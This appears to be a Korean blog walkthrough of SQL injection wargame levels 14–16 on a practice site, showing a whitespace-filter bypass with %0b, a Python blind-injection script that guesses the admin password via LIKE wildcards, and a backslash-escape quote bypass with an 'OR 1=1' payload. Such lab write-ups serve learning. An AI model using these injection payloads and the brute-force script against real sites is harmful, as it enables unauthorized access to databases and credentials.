본문 바로가기

워게임

los rubiya -14,15,16 풀이

안녕하세요! 이번에도 los rubiya을 풀어보겠습니다.

 

생각보다 문제가 많아서 당황을 하게 되네요

 

어쨌든 끝까지 깨보겠습니다.

 

시작하죠

 

거인

 

 

 

자세히 보니 shit이라는 변수가 from 사이에 들어가네요.

 

근데 길이는 무조건 1글자여야만 하네요 결과가 1234가 나와야 한다는데..

query문을 보니 from문이 붙여서 져 있어서 에러가 나는 것 같아요!

 

그래서 공백을 이용하자니 막혀 있네요.

 

하지만 저희에겐 공백을 우회하는 방법이 있습니다.

 

공백: 스페이스바 한번 누르거나 %20 도 있죠 + 도 공백입니다.

또한 %0a 와 %0b, %0c, %09,/**/ 도 공백을 대신할 수 있습니다

 

한 번 %0b로 줘보겠습니다.

 

 

 

끝!

 

 

간단하네요 다음!

 

 

15번

 

어쌔신

 

 

흐음..

 

이상하게 pw을 = 말고 like로 인증을 하고 있네요

정말 이상한 코드네요 실전에 저리 코딩 하는 사람은 없을 텐데 말이죠

그래도 불어 보겠습니다.

 

'(작은 따옴표) 안되고요 근데 like에 ' ' 이 있어서 거의 무조건 ' 으로 끝내야만 문법상 오류가 안 날 겁니다.

일단 like 이니 %을 이용하여 admin의 pw가 나오게 유도를 해보겠습니다.

 

a% b% c% ----- z%  이렇게 처음 시작하는 글자를 전부 넣어서 보내보겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=n41jabtcn4c2iuab0lgjs2bv5g"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Clear" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(1) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "pw": blind_query.format(chr(i))
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기


            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = '{}%' #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

아무래도 like 구절이 관련된 문자들을 전부 찾는 거라 오래 걸리는 거 같아요

 

없네요?

 

그럼 아마 겹쳐서 안 나오는 거 같아요.

 

아마 guest밖에 없으니 guest 비밀번호와 시작하는 문자가 같아서 admin이 안 나오는 것 같네요

 

그럼 guest 나오는 문자를 찾아보겠습니다.

 

index_value을 guest으로 바꾸면 되겠죠?

 

%는 아무 글자, _는 단일 문자을 뜻해요

 

9로 시작하는 guest와 admin 이겠네요!

 

그럼 9로 시작하는 비밀번호를 조회해보겠습니다.

 

data 구문에 "pw": "9"+blind_query.format(chr(i)) 로 수정하겠습니다.

그리고 index_value을 Clear으로 바꾸고 실행!

 

또 없네요!

 

그럼 두 번째 글자까지 겹치는 거 같습니다.

 

index_value을 guest으로 바꾸고 다시 찾아보겠습니다.

 

0이네요

 

그럼 90으로 시작하는 걸로 바꾸고 실행해 보겠습니다.

 

 

index_value을 Clear로 바꾸고

"pw": "90"+blind_query.format(chr(i)) 수정하고 실행해보겠습니다.

 

 

찾았다

 

그럼 902%을 입력하고 보내보겠습니다.

 

 

 

좋아요!

 

 

다음 16번문제

 

 

서큐버스

 

 

아하

작은 따옴표을 막았네요 id랑 pw에서

 

그래서 '을 작성을 안하고 이것을 우회해서 공격을 해야하는데

 

간단하죠 mysql은 ' 이거랑 \' 이거랑 차이점이 있습니다. '는 문법상으로 보지만 \'는 문자열로 봅니다.

 

그러니깐 id에 \을 추가하면 

 

select id from prob_succubus where id='\' and pw=''

 

닫는 ' 이 문자열이 되어서 문법상에 안 쓰여지게 되어서 pw에 있는 '까지 이어집니다.

이렇게 되면 id는 \' and pw=   이 값으로 들어가지게 됩니다.

 

select id from prob_succubus where id='\' and pw=''

 

짙은 글씨가 id 값이라는 이야기에요

 

그럼 저희는 pw에 OR구문으로 무조건 참으로 되게 하면 되겠죠?

 

id=\&pw=OR 1=1 %23

 

이렇게 보내겠습니다.

 

끝!

 

쉽게 넘어가졌네요!

 

 

 

 

오늘은 여기까지 작성하겠습니다.

 

'워게임' 카테고리의 다른 글

los rubyia - 19번 20번 풀이  (0) 2023.05.16
los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -11,12,13 풀이  (0) 2023.05.12
los rubiya -6,7,8,9,10 풀이  (0) 2023.05.11
los rubiya -1,2,3,4,5 풀이  (2) 2023.05.10